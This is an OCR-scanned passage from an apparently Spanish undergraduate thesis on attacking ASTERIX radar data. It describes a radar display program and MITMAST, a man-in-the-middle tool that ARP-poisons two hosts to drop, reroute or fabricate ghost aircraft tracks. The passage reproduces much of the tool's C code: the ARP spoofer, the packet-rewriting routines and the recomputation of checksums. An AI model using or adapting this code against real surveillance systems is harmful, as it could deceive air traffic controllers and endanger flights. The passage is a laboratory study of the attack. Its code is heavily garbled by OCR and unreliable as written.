utilizando la libreria “pthreads”, los cuales se encargaran de una tarea especifica
cada uno. El primer hilo se encargara del manejo del servidor que recibira y
utilizara todos los datos referidos al radar original, el segundo hilo se encargara de
manejar los datos del radar hackeado y el tercer hilo se encargard del manejo de
plasmar los datos recibidos en los radares mediante la utilizacién de la libreria
“goocanvasmm”. La Figura 27.28 muestra el cddigo de la creacion de los hilos que
se utilizaran en el programa y la asignacién de las funciones a cada uno de ellos.
Dichas funciones se muestran en la Figura 27.29.

pthread t t1;

pthread t t2;

pthread t t3;

pthread mutex _init(&mutex, NULL); // Inicializamos el mutex
pthread create(&tl, MNULL, serverI, NULLJ;

pthread create(&t3, NULL, serverD, NULLJ;

pthread create(&t2, NULL, senales, NULL);

Figura 27.28: Cadigo creacion y asignacion de Hilos
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void *serverD(void *var) {
//Se abre el socket servidor, con el servicio "cpp_java2" dado
//de alta en /etc/services.

sDerecha.Socket_Servidor = socketS.Abre Socket_Udp ("cpp_javaz");
if (sDerecha.Socket_Servidor == -1) {

printf ("No se puede abrir socket servidor Derecho\n");

exit (-1);

}

sDerecha.Longitud Cliente = sizeof (sDerecha.Cliente);
while(1) {
recibirPaquete (sDerecha);
while(!sDerecha.colaByte.isVacia ())
decodificarCategoria(sDerecha) ;
pthread_mutex_lock(&mutex); // Bloqueamos el acceso
if (!grafD->corroborar_avion_existente(sDerecha.c48.identificador_avion))
grafD->agregar_avion(sDerecha.c48.xRadar, - 1*sDerecha.c48.yRadar,
sDerecha.c48.identificador_avion);
pthread_mutex_unlock(&mutex); // Desblogueamos la variable

return NULL;
i
void *senales(void *var) {
Glib::signal_timeout () .connect (sigc::ptr_fun(&paint), 7);
Glib::signal_timeout().connect(sigc::ptr_fun(&paint2), 30);
return NULL;

Figura 27.29: Codigo funciones asignadas a Hilos

3. Luego de crear los hilos que manejaran las funciones del sistema se inicializa el
seméaforo binario o mutex, el cual se utilizara para evitar que cuando un hilo esta
trabajando con las variables del sistema, otro hilo no pueda utilizarlos para evitar
errores en el funcionamiento y fallos de segmentacién. El cddigo de dicha
inicializacion se puede observar en la Figura 27.28.

4. Una vez finalizada la creacion de los objetos necesarios para el funcionamiento del
programa, los hilos comienzan a trabajar en forma simultanea. El primer y segundo
hilo, se encargan de esperar los datos que llegan por los sockets respectivos de cada
radar utilizando la clase servidor. Cuando se recibe un paquete Asterix, lo
decodifican para saber a qué categoria pertenecen y, dependiendo de que categoria
es, utilizan las clases categorial, categoria34, categoria48 para decodificar el resto y
obtener los datos de la aeronave como por ejemplo el identificador de la aeronave y
las coordenadas cartesianas del mismo. A modo de ejemplo en la Figura 27.30 se
puede observar un fragmento de la funcion de la clase “categoria48” que se encarga
de decodificar el paquete recibido.
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void categoriad8::cat48(int &contadorBits, cola &colaBits, BYTE (*recibirByte) ()
int &largo) {
contadorBits=1;
BYTE byte;
int bits([8],aux,i,j;
int type,value,mType, rep;
int unBytel,unByte2,dosBytesl, dosBytes2, dosBytes3, dosBytes4,
tresBytesl, tresBytes2;
while(!colaBits.isVacia ()){//Ejecutamos hasta que no queden bits en la colg
if(colaBits.Leer ()==1) //Entramos si el bit es un 1
switch (contadorBits) {
case 1:
//printf ("-Data Source Identifier: \n");
recibirByte ();
largo--;
recibirByte ();
largo--;
break;
case 2:
//printf ("-Time of Day : ");
tresBytesl =
recibirByteK) <<16 | recibirByte()<<8 | recibirByte();
largo=largo-3
break;

case 3:
//printf ("-Target Report Descriptor: \n");
cat48_3(recibirByte, largo);
break;
case 4:
//printf ("-Measured Position in Polar Coordinates: ");

Figura 27.30: Fragmento de codigo decodificacion categoria 48

5. Finalizada la obtencion de los datos necesarios para graficar la aeronave en el radar,
el programa se encarga de agregar (o modificar en el caso que ya exista) la aeronave
a la lista enlazada doble (dependiendo su Aircraft Address). La Figura 27.31
muestra la funcion de la clase “Graficador” encargada de agregar una nueva
aeronave a la lista enlazada doble.

void praficador::agregar_auion(double %, double y,int identificador)
{
if (noAgregar || noAgregarBarrer)
return;
double tranformar=0.10; //valor para tranformar el rango del radar (20) en la escala del radar(20@)
¥x_avion=x/tranformar;
y_avion=y/tranformar;
int puntero=8;
for(int i=0;i<20;i++) {
if(arreglo_aviones[i]->identificador_avion==-1) {
puntero=i;
break;

}

if(identificador==4837545){ //original
arreglo_aviones[puntero]-=avion-»set property("stroke color", Glib::ustring("#3CB8RE"));
arreglo_aviones[puntero]-=avion-»set property("fill-color", Glib::ustring("#3CB8OE"));

}

else {
arreglo_aviones[puntero] -=avion-=set_property("stroke lor", Glib::ustring("
arreglo_aviones[puntero] ->avion->set_property("fill-c r', Glib::ustring("red"

I
printf("\n\nEL IDENTIFICADOR EL AVION ES= %d \n\n", identificador);
arreglo_aviones[puntero]->identificador_avion=identificador;
arreglo_aviones[puntero]->x_avion=x_avion;
arreglo_aviones[puntero] ->y_avion=y_avion;
arreglo_aviones[puntero] -=marcar=false;
arreglo_aviones[puntero]->crecer=true;
arreglo_aviones[puntero]-=ant=NULL;
arreglo_aviones[puntero]-=sgt=NULL;
if(lista_aviones!=NULL)
lista_aviones-=ant=arreglo_aviones[puntero];
arreglo_aviones[puntero]-»>sgt=1lista_aviones;
lista_aviones=arreglo_aviones[puntero];

Figura 27.31: Funcion de agregar aeronaves a la lista enlazada doble
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6. El tercer hilo, encargado de manejar el grafico de los radares, cada un cierto periodo
de tiempo recorre la lista enlazada y al mismo tiempo grafica en pantalla los
mismos.

sl RADARES A oEx
File Edit View Help

HACKEADO ORIGINAL

™ il
o L/ ®

(7))

Figura 27.32: Captura del programa funcionando

28.ATAQUE DE HOMBRE EN EL MEDIO

Un ataque man in the middle (MITM u hombre en el medio) es un ataque pasivo en el cual
el atacante intercepta y manipula los mensajes en una comunicacion entre dos partes sin
que las victimas conozcan que la misma ha sido violada. Al interceptar el medio de
comunicacion, el atacante hace que los mensajes pasen por él, adquiriendo asi la capacidad
de leer, insertar, modificar o incluso borrar estos mensajes.

Un enlace comun se representaria de se muestra en la Figura 28.1.

Datos

Host A Host B

Figura 28.1: Enlace comdn de datos

En cambio, un enlace comprometido por un ataque MITM seria como se muestra en la
Figura 28.2.
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Host B

Host A

Host C - Atacante
Figura 28.2: Enlace comprometido por un ataque MITM

Es decir, el medio de comunicacién comun se interrumpiria y todo pasaria a través del Host
C, el cual seria el atacante.

Las operaciones mas comunes cuando se intercepto la comunicacion son las siguientes:

Sniffing: Es uno de las operaciones mas faciles, ya que todo el trafico pasa a través
del atacante. Consiste basicamente en observar el comportamiento de las victimas
en la red, leyendo informacion e incluso credenciales que se envian. Esto es
particularmente peligroso en los protocolos de texto plano.

Spoofing: El atacante puede enviar datos como si fuera una de las victimas, es decir,
como si fuera el origen del mensaje. Esto es muy peligroso ya que se pueden enviar
paginas falsas, enviar los datos del mensaje original a otro destino o incluso mostrar
realizar operaciones con los datos de la victima origen.

DoS: DoS o Denegacién de Servicio es una operacion muy simple pero a la vez
muy peligrosa, ya que consiste en interrumpir la comunicacion de las victimas o
denegar el acceso a ciertas paginas o servicios (bloqueando X puerto por ejemplo).

28.1. TIPOS DE ATAQUES

Existen varios tipos de ataques MITM conocidos, entre ellos se encuentran:

DNS spoofing
DNS poisoning
Proxy spoofing
AP Falso

ARP poisoning

En nuestro caso, utilizamos la técnica ARP Poisoning. Para entender esta técnica primero
deberemos entender el concepto de ARP.
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ARP o protocolo de resolucion de direcciones es un protocolo de la capa de enlace de
datos, encargado de almacenar (en las tablas ARP) y de encontrar las direcciones MAC que
corresponden a una determinada direccion IP.

En el ARP Poisoning lo que hacemos es envenenar la caché de las tablas donde se
almacenan la correlacion de MAC-IP de cada maquina. Basicamente, modificamos la tabla
ARP del Host A, poniendo la MAC del Host C donde estaba la del Host B y repetimos el
mismo procedimiento en la caché de la tabla ARP del Host B. Con este procedimiento,
cuando el Host A quiera mandar paquetes al Host B, su tabla ARP le dard la direccion del
atacante (Host C) y entonces los paquetes seran enviados a él.

Simplificadamente seria como se muestra en la Figura 28.3.

Hey Host A, l} Hey Host B,
e s @ao Heath

Figura 28.3: Representacion ataqgue MITM

29.MITMAST

En esta seccion explicaremos como hemos aplicado este tipo de ataque para lograr
manipular el protocolo ASTERIX a nuestra conveniencia.

Basicamente, todos los paquetes que van a viajar por esta red contienen la siguiente
estructura: header - data del paquete. En el header o cabecera del paquete podremos
encontrar distintos elementos como la direccion IP origen, la direccion IP destino, la
longitud del paquete, el checksum de la cabecera, etc. El cuerpo o los datos del paquete
contendré distintos bloques ASTERIX (cada cual con su categoria especifica) y registros
propios de cada bloque especificando datos del vuelo.

Habiendo entendido esto, podemos empezar a hablar del software desarrollado para esta
seccion del proyecto: MITMAST (Man In The Middle ASTerix). Este software tiene como
principal objetivo capturar los paquetes entre 2 nodos (en nuestro caso, el generador de
paquetes ASTERIX y el centro de operaciones) y manipularlos.

Para la realizacion de este programa modificamos un software realizado por Grégoire
Passault, un estudiante del MIT, que realiza un ataque MITM de Sniffeo. Es un programa
simple, desarrollado unicamente en C que utiliza distintas librerias, como osdep para la
creacion de taneles (forma parte del proyecto de Aircrack). Con estas librerias podemos
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crear una nueva interfaz (en nuestro caso se Illama mitmQ) mediante la cual vamos poder
sniffear la red y hacer que el trafico pase por esta misma.

A este programa lo hemos modificado para que ademas de sniffear pueda modificar,
agregar o borrar los paquetes ASTERIX convirtiéndolo asi en una herramienta de sniffeo y
spoofing para este protocolo determinado.

29.1. ESQUEMA DEL PROGRAMA

Como dijimos anteriormente, el programa esta desarrollado puramente en C, por lo cual no
posee ningun esquema de clases. En la Figura 29.1 veremos las funciones del programa
principal (sin incluir las librerias externas):

Eint main(int argec, char *argv[]) {

EHunsigned char* mitm printMAC(unsigned char *mac) {

Hunsigned char* mitm printIP{unsigned char *ip) {

Hvoid mitm opts(){

Evoid mitm usage() {

EHint arp lookup(int s, unsigned char *ifn, unsigned char* ip, unsigned char* mac) {

Evoid mitm end(int s) {

Bvoid mitm run() {

Evoid *mitm printstats(veid*d) {

Hvoid *mitm ARP spooferiwvoid*d) {

Hvoid mitm ARP cleanup () {

@Eint mitm is victim(unsigned char*m) {

EHint mitm is me(unsigned char*m) {

Evoid *mitm sniffer(void*d) {

Ebool isAircraft(ud *buffer, int n){

Evoid modCartesianas(uB8 *buffer, int cant){ //93 - 94 x 95 - 96 y cartesianas

Evoid modPolares(u8 *buffer){ // 54 - 55 rho , 556 -57 theta polares

Evoid modTravectorialus *buffer){

Evoid calculate checksum(u8 *buffer, int n){

EHulé udp checksum({ulé len udp, wl6 src addr[], ulé dest addr[], beol padding, us buffl[]){

Figura 29.1: Funciones del programa MITMAST

A continuacion se detallaran brevemente algunas de las funciones:

e Arp_lookup: Es la funcion encargada de buscar las tablas ARP de las victimas.

e Mitm_ARP_spoofer: Es la funcién que realiza la modificacién de las tablas ARP.

e Mitm_ARP_Cleanup: Es la funcion que se encarga de volver todo a la normalidad
una vez que se cierra el programa.

e Mitm_sniffer: Es la funcidn encargada del sniffeo y manipulacion de los paquetes
(dependiendo de la opcion seleccionada en la ejecucion del programa).

e isAircraft: Esta funcion se encarga de determinar si el pagquete que esta pasando por
nosotros pertenece o no al Aircraft que deseamos atacar.
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e modTrayectoria: Esta funcion se encarga de modificar la trayectoria (tanto las
coordenadas polares como cartesianas) utilizando las funciones modCartesianas y
modPolares.

e Udp_checksum y calculate_checksum: Estas funciones son las encargadas de
regenerar el checksum udp del paquete que hemos modificado para asi lograr que
no tenga un error de validacion cuando llegue al otro Host.

e Mitm_run: Es la funcién encargada de crear los hilos necesarios para realizar todas
estas operaciones en paralelo y no perjudicar la performance de la comunicacion.

29.2. FUNCIONAMIENTO

Antes de detallar paso a paso el funcionamiento de MITMAST, se explicara los parametros
que reciben y sus detalles.

MITMAST recibira los siguientes parametros:
mitmast -i interface -t ip1 ip2 -0 option

« -i: especificaremos la network interface que usaremos, la cual se pondra en modo
promiscuo para poder snifear la red.

» -t: especificaremos la direccion IP de los hosts victimas.

» -0: especificaremos entre 3 opciones el ataque a realizar: BLOCK, MOD o ADD.

o BLOCK - Eliminar una aeronave: Una vez obtenido los paquetes
ASTERIX, el programa conocerd los paquetes que pertenecen a una
aeronave en particular y no reenviara los paquetes al centro de operaciones,
eliminando asi la aeronave de los datos obtenidos en el centro de
operaciones.

o MOD - Modificar la trayectoria de una aeronave: Una vez obtenidos los
paquetes ASTERIX, el programa conocera una aeronave en particular y,
mediante un algoritmo propio, realizara un desvio de la aeronave para que
parezca que la misma se desvia de su ruta original.

o ADD - Insertar un avion fantasma: El programa generara paquetes
ASTERIX con datos fiables y los enviara al centro de operaciones para que
parezca que el radar esta recibiendo una aeronave que en realidad no existe.
Esta inyeccion de paquetes se puede hacer con muchas aeronaves fantasmas
simultaneas.

Una vez determinados los pardmetros el programa nos pedira datos dependiendo de la

opcion especificada anteriormente:

e BLOCK: Nos pedird solamente el dato del Aircraft Address. Este es un
elemento contenido en cada registro de los paquetes ASTERIX cat 48, el cual
identifica unequivocamente la aeronave.

e MOD: Nos pedird el Aircraft Address y las Coordenadas Destino de la
modificacion. Luego de haber ingresado los datos, el simulador
automaticamente ird realizando una parabola hasta llegar al punto dado y
desaparecera del radar (sera bloqueado).
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e ADD: Nos pedira el Aircraft Address, CANT y DIST. El Aircraft Address
claramente para especificar la aeronave, la opcion CANT para especificar la
cantidad de aviones a inyectar y la opcion DIST para especificar la distancia
entre las aeronaves.

A continuacion especificaremos paso a paso el funcionamiento del programa:

1. Primero, el programa nos guarda los valores agregados por parametros en distintas
variables. Si no ingresamos bien los parametros obligatorios (interface e ip’s de las
victimas), el programa nos llamara a la funcién mitm_usage, la cual es la encargada
de imprimir la pantalla de “help”. Este cddigo se puede observar en la Figura 29.2.

while ({c = getopt (argc, argv, "1:to:"}) !'= -1 {
switch (c) {

case 'ft':
tunneling=0x1;
break;

case '1':
i1frname = (unsigned char*)optarg;
break;

case 'o':

optMame = (unsigned char*)optarg;
break;

case '7':
it (optopt=='1' || optopt=='t' || optopt=='0'] {

fprintf(stderr,"Option -%c reguire an argumentin",optopt)
return Ox1;
}
break;
default:
printf("z1yn");
break;

i

if {argc-optind!=2) {
mitm_usage();
return Ox1;

Figura 29.2: Fragmento de codigo captura de parametros.

2. Luego de este paso, el programa seteara estructuras necesarias para el manejo de la
interfaz y los paquetes IP con los datos ingresados, controlard que estos datos sean
validos, creara una nueva interfaz (para que los paquetes pasen por ella y asi tener
control sobre ellos) y llamara a la funcion mitm_run. EI cédigo correspondiente se
puede observar en la Figura 29.3.
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addr.sl1_family=AF PACKET;
addr.sl1_protocol=htons(ETH P_ALL);
addr.sll_ifindex=1fr.ifr_ifindex;
addr.sll_pkttype=PACKET_HOST;
addr.sl1_halen=0x0;

if (tunneling) {

if (ioctl(sock, SIOCGIFHWADDR, &ifr)=0) {

for (1=0x0; 1=0x6; 1++] my_mac[1] = i1fr.ifr_hwaddr.sa_datali];

if (ioctl(sock, SIOCGIFADDR, &ifr)=0) {

for (1=0x0; 1<0x4; 1++) my_ipl[i] = ((unsigned char#*)&((struct sockaddr_in*)&ifr.ifr_addr)-=sin_addr)[i];
if (tarp lookup(sock, ifname, victimA.ip, victimA.mac)) {

if (tarp_lookup(sock, ifname, wvictimB.ip, victimB.mac)) {
fprintf(stderr, "Unable to get hardware address of %d.%d.%d.%d\n",
victimB.ip[0]&0xFF, victimB.ip[ll&oxFF, victimB.ip[2]&0xFF, victimB.ip[3]1&0xFF);
return Oxl;

¥

struct termios tos;
tcgetattr(0, &tos_save);
tcgetattr(o, &tos);
tos.c_lflag &= (~ECHO);
tos.c_Llflag &= (~ICANON);
tesetattr (0, TCSANOW, &tos);

mitm_run();

Figura 29.3: Fragmento de codigo seteo y control de estructuras.

3. En la funcién mitm_run, el programa inicializard unas variables de control y creara
distintos hilos para que realicen tareas como: spoofing al host A, spoofing al host B,
sniffeo de la red (la cual a su vez modificard los paquetes on the fly) e imprimir
estadisticas. Luego de esto, creard un bucle de control para la ejecucion del
programa (Cuando capturamos la tecla ESC, el programa finaliza) y hara un join a
los hilos. El cddigo correspondiente se puede observar en la Figura 29.4.
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vold mitm _run() {
1nt AB=0x0;
1nt BA=0x1;
unsigned char c;
struct timespec ts;
ts.tv_sec = 0O,
ts.tv_nsec =
mitm_packets oH
mitm_packets_replayed = 0x0;
m1tm_running=0x1;
signal (SIGINT, mitm end);
pthread create(&sniffer, NULL, mitm sniffer, NULL);
pthread_create(&spoofers, MULL, mitm ARP_spoofer, (vold*)&AE);
pthread_create(&spoofers, MULL, mitm_ARP_spoofer, (void*)&BA);
printf ("Tom is in the middle (Press escape to exit)in");
pthread create(&statser, NULL, mitm_printstats, NULLJ;
fentlio, F_SETFL, O MOMBLOCK];
while (mitm_running) {

c=fgetc(stdinj;
if (e==27) {
mitm_end{SIGINT);
break;

nanosleep(&ts, NULL);

¥

pthread_join(spooferd, NULL]);
pthread_join(spooferB, NULL];
pthread_join(sniffer,NULL];
printf("Cleaning up ARP tables'n");
mitm_ARP _cleanup();

ex1t(ox0);

Figura 29.4: Fragmento de codigo creacion de hilos.

4. Ya que el programa crea varios hilos de ejecucion los cuales utilizan distintas
funciones, comenzaremos explicando el proceso de spoofing. En la funcién
mitm_ARP_spoofer, el programa establece las estructuras IP dependiendo los datos
que se le pasan por referencia en la funcion mitm_run (si es del host A al host B, 0
al revés) y se envian al host indicado, para asi envenenarle las tablas ARP y lograr
que todos los datos dirigidos hacia el otro host vengan hacia nosotros. El codigo
correspondiente se puede observar en la Figura 29.5.
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vold *mitm_ARP_spoofer(void¥d] {
struct arp_packet pckt;
int 1i;
int mode=*((int#*)d);
pckt . eth.prote= htons(ETH_P_ARP) ;
pckt.ar_hrd = htons(ARPHRD_ETHER) : ¥ ARP Packet for Ethernet :
pckt.ar_pro = htons(ETH_P_IP); t ARP Packet for IP Protocol #
pckt.ar_hln = 0xB; t Ethernet adresses on & bytes #
pckt.ar_pln = 0x4; ¥ IP adresses on 4 bytes *
pckt . ar_op = htons(ARPOP_REPLY) ; ¥ ARP Op is a Reply *
for (1=0x0; i=0xg; i++) {
pckt.ar_shalil = my_mac[i]:
pckt . eth.sourceli] = my_mac[i];
if (mode==0x0) {
pckt.ar_sipli] = victimA.ip[i]:
pckt.ar_tip[i] = victimB.ip[i];
T else {
pckt.ar_sip[i] = victimB.ip[i];
pckt.ar_tiplil = victimA.iplil:
for (i=0x0; i d
if (mode==0x0) {
pckt.ar_thalil = victimB.mac[i];
pckt.eth.target(1] = victimB.mac[1];
T else {
pckt.ar_thalil = victimA . mac[i]:
pckt.eth.target(i] = victimA . mac[i];
¥
}
while (mitm_running) {
sendtol(sock, (unsigned char*)é&pckt,sizeof(struct arp_packet), 0, (struct sockaddr#)&addr, sizeof (struct sockaddr_11)]);
sleepl0xl);

Figura 29.5: Fragmento de codigo envenenamiento tablas ARP.

5. Con las tablas ARP de los hosts envenenadas, pasaremos a explicar la funcion
mitm_sniffer; la cual dependiendo la opcién ingresada al principio del programa
sniffeara, bloqueard, agregara o modificara los paquetes entre los hosts.

En la primera parte de esta funcion (Figura 29.6), el programa recibird un paquete
por su interfaz y controlard que el paquete que estamos shiffeando sea para el host
victima y volverd a setear la estructura de la cabecera IP con los datos del otro host
(para que cuando lo reciba, no se dé cuenta que paso por el host atacante).
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n=éé£é¥?ﬁéf§5éi;hdffer,GaFFFF,G,[struct sockaddr#*) &laddr, &s1) ;

replay=0x0;
if (n=0) {

if (n=sizeofistruct eth_header) && laddr.sll_ifindex==addr.sll_ifindex) {

mitm_packets++;
eth = (struct eth_header®]buffer;
if (eth-=proto == htonsiETH_P_IP)) {
vid=mitm_is_victim{eth-=source];
if (vid && mitm_is_meieth-=target)) {
iph={struct iphdr #*){buffer+sizeofistruct eth_header]));
if (iph-=daddr != *{{int*)my_ip) && vid!=0x0) {
for (i=0x0; i<0x6; 1++]
eth-=source[il=my_mac[i];
replay=0x1;
if (vid == ox1) {
for (1=0x0; 1=0x5; 1++)
eth->target[il=victimB. mac[1];
I else {

for (1=0x0; 1=0x5) 1++)
eth-=target[1]=victim& mac[1i];

Figura 29.6: Fragmento de codigo recepcion de paquete y control.

6. Luego de esto, segun la opcion ingresada el programa tomarad un camino diferente.
Si no ingresamos ninguna opcion (es decir, solamente sniffeo) el programa sumara
un paquete méas al contador de paquetes y lo enviard comUnmente. El cddigo
correspondiente se puede observar en la Figura 29.7.

default:
mitm packets replayed++;
sendtolsock, buffer,n, o, (struct sockaddr¥)&addr, sizeof( struct sockaddr 11)7;
break:

Figura 29.7: Fragmento de codigo sniffeo.

7. Si elegimos la opcién BLOCK (Figura 29.8), el programa se fijara si lo que esta
pasando entre los hosts es un paquete ASTERIX que corresponda al Aircraft
especificado anteriormente controlando los bytes donde se especifica esta direccion
(inequivocamente para cada Aircraft en la categoria 48) mediante la funcion
isAircraft (Figura 29.9). Si esta direccion corresponde, el programa dropeara el
paquete. Si esta direccion no corresponde, el programa lo enviard normalmente.

case 1: “ase block'd
if{lisAircraft| &buffer,n)id{

calculate_checksum( &buffer,nl:
sendtolsock, buffer,n, 0, (struct sockaddr¥) &addr, sizeof (struct sockaddr_111):

telse {
mitm_packets_replayed++;
T

break;

Figura 29.8: Fragmento de codigo opcién BLOCK
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bool isaircraft(ud *buffer, int nid

RS AR BT

ug éux[id;

aux[1l] = aircraftAddress==15;
aux[2] = (aircraftaddress==5)&0x0fT;
aux[ =] = (aircraftaddress)&bxoff;

if{lbuffer[cE]l==aux[1]]&&{buffer[cacl==aux(2]) &&l buffer[&7]==aux[3]1]
i

return true;
telse return false:

8.

Figura 29.9: Fragmento de codigo control de Aircraft.

Si elegimos la opcion ADD (Figura 29.10), el programa volvera a controlar si la
direccion de Aircraft es correcta y luego iterard n veces (especificadas por el
namero de aviones fantasmas ingresado en un comienzo). Si es la primera iteracion,
se enviard el paquete como esta (ya que es el avion original), en cambio si es otro
namero de iteracion, le modificaremos el Aircraft Address (para que sea tomado
como otro Aircraft). Luego de esto, modificaremos sus coordenadas mediante la
funcién modCartesianas (Figura 29.11) donde se suman a la latitud y longitud un
pequefio valor (el nimero de n en este caso) para lograr el efecto de que es otro
avion con otra trayectoria. Para finalizar, volveremos a calcular el checksum del
paquete udp con la funcion calculate_checksum (Figura 29.12) la cual realiza el
armado del nuevo checksum del paquete utilizando la funcién udp_checksum
(Figura 29.13) que calcula los valores necesarios dependiendo si el paquete tiene
longitud par o impar, por ejemplo. Una vez realizado esto, simplemente enviamos el
paquete.

break;|

case 2

—ase add
iflisaircratt(&buffer,n)){
mitm_packets_replayed++:
int k;
for( k=0;k==ghostCant ;k++){
if(k==0){
sendtolsock, buffer,n, 0, (struct sockaddr¥)&addr, sizeof(struct sockaddr_11));
lelse{
buffer[57] = buffer[&7] +1; Aircraft Address + 1 (para que sea un avion distinto)
modCartesianas(&buffer, 2);
calculate_checksum(&buffer,n};
sendtolsock,buffer,n, 0, (struct sockaddr*]&addr, sizeof | struct sockaddr_11));
i

s
telse {
sendtolsock,buffer,n, 0, (struct sockaddr*)&addr, sizeof(struct sockaddr_111):

Figura 29.10: Fragmento de cddigo opcion ADD

BAIGORRIA, Facundo. 98
BUCHAILLOT, Tomas.




Instituto Universitario Aeronautico
Trabajo Final de Grado

vold modCartesianasiug8 *buftfer, int cant)i /792 - 24 x , 95 - 95 v cartesilanas

ibuffer[23]=<2) | (buffer[24]]);
ibuffer[25]==8] | (buffer[2&]];

int valorX
int valory

double xInt= (doublel(valorX/128)+cant;
double yInt= (double)(valorY/128)+cant;

if(xInt == 256)xInt= xInt - S12;
ifiyInt == 256)yInt= yInt - S1Z2;

int ®x = (int)] (xInt*123);
int y = (int) (yInt*125);
buffer[23]=x==8;
buffer[24]=x & COxFF;
buffer[25]=y==5;
buffer[osl=y & OxFF;

T
Figura 29.11: Fragmento de codigo modificacion Coordenadas Cartesianas.
vold calculate_checksum{ug *buffer, int ni{
int i,e;
ule checksum =0x0000;
ule srcf4];
ule dest[4];
e=0;
unsigned char *bufferUdp;
bufferUdp = (unsigned char *) mallocin):
int u =0;
for(ii=34 ; i=n;i++)q{
ifii==40 || i==41) {
bufferUdp[ul==0x00;
1
else {
bufferUdplul = buffer[il;
1
L++}
1
e=0;
for( 1 = 30 ; 1<34;1++){
dest(e] = buffer[il; e++;
1
e=0;
fori 1 = 25; 1=30;1i++)9
srcfe] = buffer[i]: e++;
1
checksum = udp_checksum({ (ul&)u, src, dest, false, bufferUdp):
buffer[40] = checksum==&;
buffer[41] = checksum;
t
Figura 29.12: Fragmento de cddigo armado de checksum
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uls udp_checksum{ulg len_udp, ulg src_addr(], uls dest_addr[], bool padding, ud buff[]]{
uls prot_udp=17;

uls padd=0;
uls wordl6;
u32 sum;
int 1i;
vemos si la longitud de la data es par o impar. Si es impar, le agregamos el byte padding a @ al final del paguete.
ifipadding&&l==1){
padd=1;
buffllen_udp] = O;
T
inicializamos la sum a G

s words de 16 bits por cada 2 words de 8 bits adyacentes y calculamos la sum de todas.

for(i=0;i<len_udp+padd; i = i+2){
wordlé=((buff[i]=<8)) | (buffli+1]):
sum = sum + (unsigned long) wordl6;

agregamos el UDP Pseudo-Header que contiene la ip source y destino:
i=0;1<4;i=1+2){
wordle=((src_addr(il==8)] | (src_addr[i+1]);
sum = sum +wordlE;

forii=0;i=d;i=1+2){
wordle=((dest_addr[i]l=<g8]) | (dest_addr[i+1]&0xFF);
sum = sum +wordls;

1e metemos el protocol number y la longitud del packet
sum = sum + prot_udp + len_udp;
while(sum==15)1
sum={sum & OxFFFF] + (sum==18);
T

sum = ~sum;
return ({(ul6) sum);

Figura 29.13: Fragmento de cddigo calculo datos nuevos checksum

9. Sielegimos la opcion MOD (Figura 29.14), nos fijaremos si es el avion que estamos
buscando, en caso afirmativo sumamos uno al contador de paquetes y llamamos a la
funcién modTrayectoria (Figura 29.15). Esta funcion recibira el buffer de datos
(datos del paquete ASTERIX), extraera las coordenadas y las ira iterando por cada
paquete recibido, sumando o restando un pequefio valor a las coordenadas hasta
llegar a las coordenadas finales (ingresadas anteriormente). Por cada iteracion, se
realizara nuevamente el checksum del paquete (Figura 29.12 y 29.13) y se enviara
al host el paquete con esta pequefia modificacion en los bytes de coordenadas.
Cuando llegue a las coordenadas finales, el Aircraft quedard moviéndose en el
lugar.

case S: “ase mod

ifiisaircratt(&buffer.n)i{

mitm_packets_replayed++;

printfi"ywn ¥ hacia donde debe ir el avion :%d",xFinal);

modTrayectorial &buffer);

calculate_checksum( &buffer,nl;

sendto(sock.n,n, 0, (struct sockaddr#)&addr, sizeofistruct sockaddr_11)1);]

sendtolsock, buffer,n, 0, (struct sockaddr#]&addr, sizeof({struct sockaddr_L1]);
lelse {

sendtolsock,buffer,n, 0, (struct sockaddr*]&addr, sizeof(struct sockaddr 11]);
h

break:

Figura 29.14: Fragmento de cddigo opcion MOD
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vold modTrayectorialud *buffer){
incremento=incrementod. 1;
int dosBytesl = ((buffer[52]=-2180xFF00) + (buffer[24]&0=FF);
int dosBytes2 = ((buffer[55]==2180xFFO0) + (buffer[26]1&0xFF);

int auxf=0;
double y2=ldouble )dosBytes2 s128,
ifily2a=20611
auxt=1;
; ya=y2-512;
int auxli=0;
double x2={double JdosBytesl #128;
iflx2=25601
auxk=1;
; xx=x2-512;
Redireccion &l punto ingresado
ifiprimera¥ezl{
xMod=x2;
yHad=y2;
primera¥ez=false;

alse{
ifizMod=zFinal) xMod=xMod+0. 1
ifizMod=zFinal) xMod=xMod-0. 1
iflyMod-yFinal! yMod=yModto. 1
ifiyMod=yFinal) yMod=yMod-0. 1

Fearmando el valor
iffauxf=1]
yHod=yMod+S12;
iflauxi=1}
Mod=xModt512;

dosBytesl= xMod*122;
dosBytesZ= yHod* 125,

buffer[92]=dosBytesl==2 & Ox0GFF;
buffer[94]=dosBytesl £ 0x00FF;
buffer[95]=dosBytes2==2 & Ox00FF,
buffer[9c]=dosBytes2 & 0x00FF;

i
Figura 29.15: Fragmento de codigo modificacion de Trayectoria

10. Cuando deseemos finalizar el ataque, apretaremos la tecla ESC (Escape) y el
programa llamara a la funcion mitm_ARP_cleanup (Figura 29.16), la cual
establecera nuevamente las estructuras necesarias de los paquetes y realizara otra
vez un ARP spoofing para volver a poner las tablas ARP de ambos Hosts en su
estado inicial.
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void mitm_ARP_cleanup() {
struct arp_packet pckt;
int 1, mode;

pckt.eth. proto= htons(ETH_P_ARP) ;
pckt.ar_hrd
pckt.ar_pro
peckt.ar_hln
pckt.ar_pln
pckt.ar_op

htons ( ARPHRD_ETHER) :

ARP Packet for Ethernet support #
htons(ETH P_IP); '

ARP Packet for IP Protoc

Gxd;
htons( ARPOP_REPLY) ;

od 1: mode++) {

iv+) {

pckt.ar_shali] = victimA.mac[i]:

pckt.ar_thali]l = victimB.macl[i];

pckt.eth.target[i] = victimB.mac[i];
} else {

pckt.ar_shali] = victimB.mac[i];

pckt.ar_thali] = victima. mac[i];

pckt.eth.target[i] = victimA.mac[i]:

¥
pckt . eth.source[i] = my_mac[i]:

for (i=0x0; i=0:4; i++) {
if (mode==0x0) {
pckt . ar_sip[i] = victimA.ip[i]:
pckt.ar_tip[i]l = victimB.ip[il];
} else {
pckt . ar_sip[i] = victimB.ip[i]:
pckt.ar_tip[i]l = victimA.ip[il;
}
+

sendtolsock, (unsigned char#)&pckt, sizeof(struct arp_packet),0, (struct sockaddr¥)&addr, sizeof(struct sockaddr_11)):

Figura 29.16: Fragmento de codigo reiniciar parametros

30.EJECUCION DE ATAQUE

En esta seccidn se explicara en detalle todos los pases necesarios para la ejecucion del
ataque. Se realizara una explicacion detallada del funcionamiento cada uno de los
programas y simuladores involucrados en el trabajo y como se relacionan entre ellos. El
objetivo de este capitulo es poder integrar todos los componentes de la simulacién y poder
mostrar los resultados del ataque.

